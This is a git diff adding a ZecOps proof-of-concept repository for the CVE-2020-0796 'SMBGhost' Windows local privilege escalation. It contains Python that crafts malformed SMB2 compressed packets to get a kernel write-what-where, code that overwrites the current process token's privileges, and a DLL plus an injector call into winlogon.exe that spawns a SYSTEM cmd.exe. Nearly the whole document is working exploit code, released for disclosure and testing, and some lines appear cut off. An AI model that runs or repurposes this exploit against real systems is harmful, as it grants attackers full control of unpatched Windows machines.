diff --git a/Injector.exe b/Injector.exe new file mode 100644 index 0000000..09aa2cc Binary files /dev/null and b/Injector.exe differ diff --git a/README.md b/README.md new file mode 100644 index 0000000..03e4f22 --- /dev/null +++ b/README.md @@ -0,0 +1,19 @@ +# CVE-2020-0796 Local Privilege Escalation POC + +(c) 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes +POC to check for CVE-2020-0796 / "SMBGhost" +Expected outcome: cmd.exe launched with system access +Intended only for educational and testing in corporate environments. +ZecOps takes no responsibility for the code, use at your own risk. +Please contact sales@ZecOps.com if you are interested in agent-less DFIR tools for Servers, Endpoints, and Mobile Devices to detect SMBGhost and other types of attacks automatically. + +## Usage + +Make sure Python is installed, then run `poc.py`. + +![demo](demo.gif) + +## References + +* [Vulnerability Reproduction: CVE-2020-0796 POC - ZecOps Blog](https://blog.zecops.com/vulnerabilities/vulnerability-reproduction-cve-2020-0796-poc/) +* [CVE-2020-0796 - Microsoft Security Response Center](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796) diff --git a/demo.gif b/demo.gif new file mode 100644 index 0000000..2245141 Binary files /dev/null and b/demo.gif differ diff --git a/poc.py b/poc.py new file mode 100644 index 0000000..f902513 --- /dev/null +++ b/poc.py @@ -0,0 +1,157 @@ +# CVE-2020-0796 Local Privilege Escalation POC +# (c) 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes +# Intended only for educational and testing in corporate environments. +# ZecOps takes no responsibility for the code, use at your own risk. +# Based on the work of Alexandre Beaulieu: +# https://gist.github.com/alxbl/2fb9a0583c5b88db2b4d1a7f2ca5cdda + +import sys +import random +import binascii +import struct +import os +import subprocess +import pathlib + +from write_what_where import write_what_where + +from ctypes import * +from ctypes.wintypes import * + +# Shorthands for some ctypes stuff. +kernel32 = windll.kernel32 +ntdll = windll.ntdll +psapi = windll.psapi +advapi32 = windll.advapi32 +OpenProcessToken = advapi32.OpenProcessToken + +# Constants. +STATUS_SUCCESS = 0 +STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 +STATUS_INVALID_HANDLE = 0xC0000008 +TOKEN_QUERY = 8 +SystemExtendedHandleInformation = 64 + +NTSTATUS = DWORD +PHANDLE = POINTER(HANDLE) +PVOID = LPVOID = ULONG_PTR = c_void_p + +# Function signature helpers. +ntdll.NtQuerySystemInformation.argtypes = [DWORD, PVOID, ULONG, POINTER(ULONG)] +ntdll.NtQuerySystemInformation.restype = NTSTATUS + +advapi32.OpenProcessToken.argtypes = [HANDLE, DWORD , POINTER(HANDLE)] +advapi32.OpenProcessToken.restype = BOOL + +# Structures for NtQuerySystemInformation. +class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure): + _fields_ = [ + ("Object", PVOID), + ("UniqueProcessId", PVOID), + ("HandleValue", PVOID), + ("GrantedAccess", ULONG), + ("CreatorBackTraceIndex", USHORT), + ("ObjectTypeIndex", USHORT), + ("HandleAttributes", ULONG), + ("Reserved", ULONG), + ] +class SYSTEM_HANDLE_INFORMATION_EX(Structure): + _fields_ = [ + ("NumberOfHandles", PVOID), + ("Reserved", PVOID), + ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1), + ] + + +def find_handles(pid, data): + """ + Parses the output of NtQuerySystemInformation to find handles associated + with the given PID. + """ + header = cast(data, POINTER(SYSTEM_HANDLE_INFORMATION_EX)) + nentries = header[0].NumberOfHandles + print('[+] Leaking access token address') + + handles = [] + data = bytearray(data[16:]) + + # Manually unpacking the struct because of issues with ctypes.parse + while nentries > 0: + p = data[:40] + e = struct.unpack(' dt nt!_SEP_TOKEN_PRIVILEGES + +0x000 Present : Uint8B + +0x008 Enabled : Uint8B + +0x010 EnabledByDefault : Uint8B + """ + token = get_token_address() + if token is None: sys.exit(-1) + + what = b'\xFF' * 8 * 3 + where = token + 0x40 + + print('[+] Writing full privileges on address %x' % (where)) + + write_what_where('127.0.0.1', what, where) + + print('[+] All done! Spawning a privileged shell.') + print('[+] Check your privileges: !token %x' % (token)) + + dll_path = pathlib.Path(__file__).parent.absolute().joinpath('spawn_cmd.dll') + subprocess.call(['Injector.exe', '--process-name', 'winlogon.exe', '--inject', dll_path], stdout=open(os.devnull, 'wb')) + +if __name__ == "__main__": + exploit() diff --git a/spawn_cmd.dll b/spawn_cmd.dll new file mode 100644 index 0000000..48dd346 Binary files /dev/null and b/spawn_cmd.dll differ diff --git a/spawn_cmd_src/dllmain.cpp b/spawn_cmd_src/dllmain.cpp new file mode 100644 index 0000000..35e28c5 --- /dev/null +++ b/spawn_cmd_src/dllmain.cpp @@ -0,0 +1,52 @@ +#include "pch.h" + +DWORD WINAPI ThreadFunction(LPVOID lpParameter) +{ + STARTUPINFO si; + PROCESS_INFORMATION pi; + + ZeroMemory(&si, sizeof(si)); + si.cb = sizeof(si); + ZeroMemory(&pi, sizeof(pi)); + + WCHAR cmdline[] = L"cmd.exe"; + + // Start the child process. + if (CreateProcess(NULL, // No module name (use command line) + cmdline, // Command line + NULL, // Process handle not inheritable + NULL, // Thread handle not inheritable + FALSE, // Set handle inheritance to FALSE + 0, // No creation flags + NULL, // Use parent's environment block + NULL, // Use parent's starting directory + &si, // Pointer to STARTUPINFO structure + &pi) // Pointer to PROCESS_INFORMATION structure + ) + { + // Wait until child process exits. + //WaitForSingleObject(pi.hProcess, INFINITE); + + // Close process and thread handles. + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + + FreeLibraryAndExitThread((HMODULE)lpParameter, 0); +} + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + CloseHandle(CreateThread(NULL, 0, ThreadFunction, (LPVOID)hModule, 0, NULL)); + break; + + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} diff --git a/spawn_cmd_src/framework.h b/spawn_cmd_src/framework.h new file mode 100644 index 0000000..54b83e9 --- /dev/null +++ b/spawn_cmd_src/framework.h @@ -0,0 +1,5 @@ +#pragma once + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files +#include diff --git a/spawn_cmd_src/pch.cpp b/spawn_cmd_src/pch.cpp new file mode 100644 index 0000000..64b7eef --- /dev/null +++ b/spawn_cmd_src/pch.cpp @@ -0,0 +1,5 @@ +// pch.cpp: source file corresponding to the pre-compiled header + +#include "pch.h" + +// When you are using pre-compiled headers, this source file is necessary for compilation to succeed. diff --git a/spawn_cmd_src/pch.h b/spawn_cmd_src/pch.h new file mode 100644 index 0000000..885d5d6 --- /dev/null +++ b/spawn_cmd_src/pch.h @@ -0,0 +1,13 @@ +// pch.h: This is a precompiled header file. +// Files listed below are compiled only once, improving build performance for future builds. +// This also affects IntelliSense performance, including code completion and many code browsing features. +// However, files listed here are ALL re-compiled if any one of them is updated between builds. +// Do not add files here that you will be updating frequently as this negates the performance advantage. + +#ifndef PCH_H +#define PCH_H + +// add headers that you want to pre-compile here +#include "framework.h" + +#endif //PCH_H diff --git a/spawn_cmd_src/spawn_cmd.sln b/spawn_cmd_src/spawn_cmd.sln new file mode 100644 index 0000000..4f93b30 --- /dev/null +++ b/spawn_cmd_src/spawn_cmd.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29905.134 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "spawn_cmd", "spawn_cmd.vcxproj", "{8EB67813-F367-44BA-BEBC-B0710AF6A47A}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Debug|x64.ActiveCfg = Debug|x64 + {8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Debug|x64.Build.0 = Debug|x64 + {8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Debug|x86.ActiveCfg = Debug|Win32 + {8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Debug|x86.Build.0 = Debug|Win32 + {8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Release|x64.ActiveCfg = Release|x64 + {8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Release|x64.Build.0 = Release|x64 + {8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Release|x86.ActiveCfg = Release|Win32 + {8EB67813-F367-44BA-BEBC-B0710AF6A47A}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {184A3002-25B1-4167-AA8E-C0BAF4261D00} + EndGlobalSection +EndGlobal diff --git a/spawn_cmd_src/spawn_cmd.vcxproj b/spawn_cmd_src/spawn_cmd.vcxproj new file mode 100644 index 0000000..41dfdc2 --- /dev/null +++ b/spawn_cmd_src/spawn_cmd.vcxproj @@ -0,0 +1,173 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {8EB67813-F367-44BA-BEBC-B0710AF6A47A} + Win32Proj + spawncmd + 10.0 + + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + true + WIN32;_DEBUG;SPAWNCMD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + pch.h + MultiThreadedDebug + + + Windows + true + false + + + + + Use + Level3 + true + _DEBUG;SPAWNCMD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + pch.h + MultiThreadedDebug + + + Windows + true + false + + + + + Use + Level3 + true + true + true + WIN32;NDEBUG;SPAWNCMD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + pch.h + MultiThreaded + + + Windows + true + true + false + false + + + + + Use + Level3 + true + true + true + NDEBUG;SPAWNCMD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + pch.h + MultiThreaded + + + Windows + true + true + false + false + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/spawn_cmd_src/spawn_cmd.vcxproj.filters b/spawn_cmd_src/spawn_cmd.vcxproj.filters new file mode 100644 index 0000000..bd9682f --- /dev/null +++ b/spawn_cmd_src/spawn_cmd.vcxproj.filters @@ -0,0 +1,33 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/write_what_where.py b/write_what_where.py new file mode 100644 index 0000000..4bad511 --- /dev/null +++ b/write_what_where.py @@ -0,0 +1,178 @@ +# Windows Kernel Write-What-Where CVE-2020-0796 Exploit +# (c) 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes +# Intended only for educational and testing in corporate environments. +# ZecOps takes no responsibility for the code, use at your own risk. +# Part of the CVE-2020-0796 Local Privilege Escalation POC. +# Based on the CVE-2020-0796 DOS POC of maxpl0it: +# https://github.com/maxpl0it/Unauthenticated-CVE-2020-0796-PoC + +import socket, struct, sys +import os, binascii, ctypes + +class Smb2Header: + def __init__(self, command, message_id): + self.protocol_id = "\xfeSMB" + self.structure_size = "\x40\x00" # Must be set to 0x40 + self.credit_charge = "\x00"*2 + self.channel_sequence = "\x00"*2 + self.channel_reserved = "\x00"*2 + self.command = command + self.credits_requested = "\x00"*2 # Number of credits requested / granted + self.flags = "\x00"*4 + self.chain_offset = "\x00"*4 # Points to next message + self.message_id = message_id + self.reserved = "\x00"*4 + self.tree_id = "\x00"*4 # Changes for some commands + self.session_id = "\x00"*8 + self.signature = "\x00"*16 + + def get_packet(self): + return self.protocol_id + self.structure_size + self.credit_charge + self.channel_sequence + self.channel_reserved + self.command + self.credits_requested + self.flags + self.chain_offset + self.message_id + self.reserved + self.tree_id + self.session_id + self.signature + +class Smb2NegotiateRequest: + def __init__(self): + self.header = Smb2Header("\x00"*2, "\x00"*8) + self.structure_size = "\x24\x00" + self.dialect_count = "\x08\x00" # 8 dialects + self.security_mode = "\x00"*2 + self.reserved = "\x00"*2 + self.capabilities = "\x7f\x00\x00\x00" + self.guid = "\x01\x02\xab\xcd"*4 + self.negotiate_context = "\x78\x00" + self.additional_padding = "\x00"*2 + self.negotiate_context_count = "\x02\x00" # 2 Contexts + self.reserved_2 = "\x00"*2 + self.dialects = "\x02\x02" + "\x10\x02" + "\x22\x02" + "\x24\x02" + "\x00\x03" + "\x02\x03" + "\x10\x03" + "\x11\x03" # SMB 2.0.2, 2.1, 2.2.2, 2.2.3, 3.0, 3.0.2, 3.1.0, 3.1.1 + self.padding = "\x00"*4 + + def context(self, type, length): + data_length = length + reserved = "\x00"*4 + return type + data_length + reserved + + def preauth_context(self): + hash_algorithm_count = "\x01\x00" # 1 hash algorithm + salt_length = "\x20\x00" + hash_algorithm = "\x01\x00" # SHA512 + salt = "\x00"*32 + pad = "\x00"*2 + length = "\x26\x00" + context_header = self.context("\x01\x00", length) + return context_header + hash_algorithm_count + salt_length + hash_algorithm + salt + pad + + def compression_context(self): + #compression_algorithm_count = "\x03\x00" # 3 Compression algorithms + compression_algorithm_count = "\x01\x00" + padding = "\x00"*2 + flags = "\x01\x00\x00\x00" + #algorithms = "\x01\x00" + "\x02\x00" + "\x03\x00" # LZNT1 + LZ77 + LZ77+Huffman + algorithms = "\x01\x00" + #length = "\x0e\x00" + length = "\x0a\x00" + context_header = self.context("\x03\x00", length) + return context_header + compression_algorithm_count + padding + flags + algorithms + + def get_packet(self): + padding = "\x00"*8 + return self.header.get_packet() + self.structure_size + self.dialect_count + self.security_mode + self.reserved + self.capabilities + self.guid + self.negotiate_context + self.additional_padding + self.negotiate_context_count + self.reserved_2 + self.dialects + self.padding + self.preauth_context() + self.compression_context() + padding + +class NetBIOSWrapper: + def __init__(self, data): + self.session = "\x00" + self.length = struct.pack('>i', len(data)).decode('latin1')[1:] + self.data = data + + def get_packet(self): + return self.session + self.length + self.data + +class Smb2CompressedTransformHeader: + def __init__(self, raw_data, compressed_data): + self.protocol_id = "\xfcSMB" + self.original_decompressed_size = struct.pack('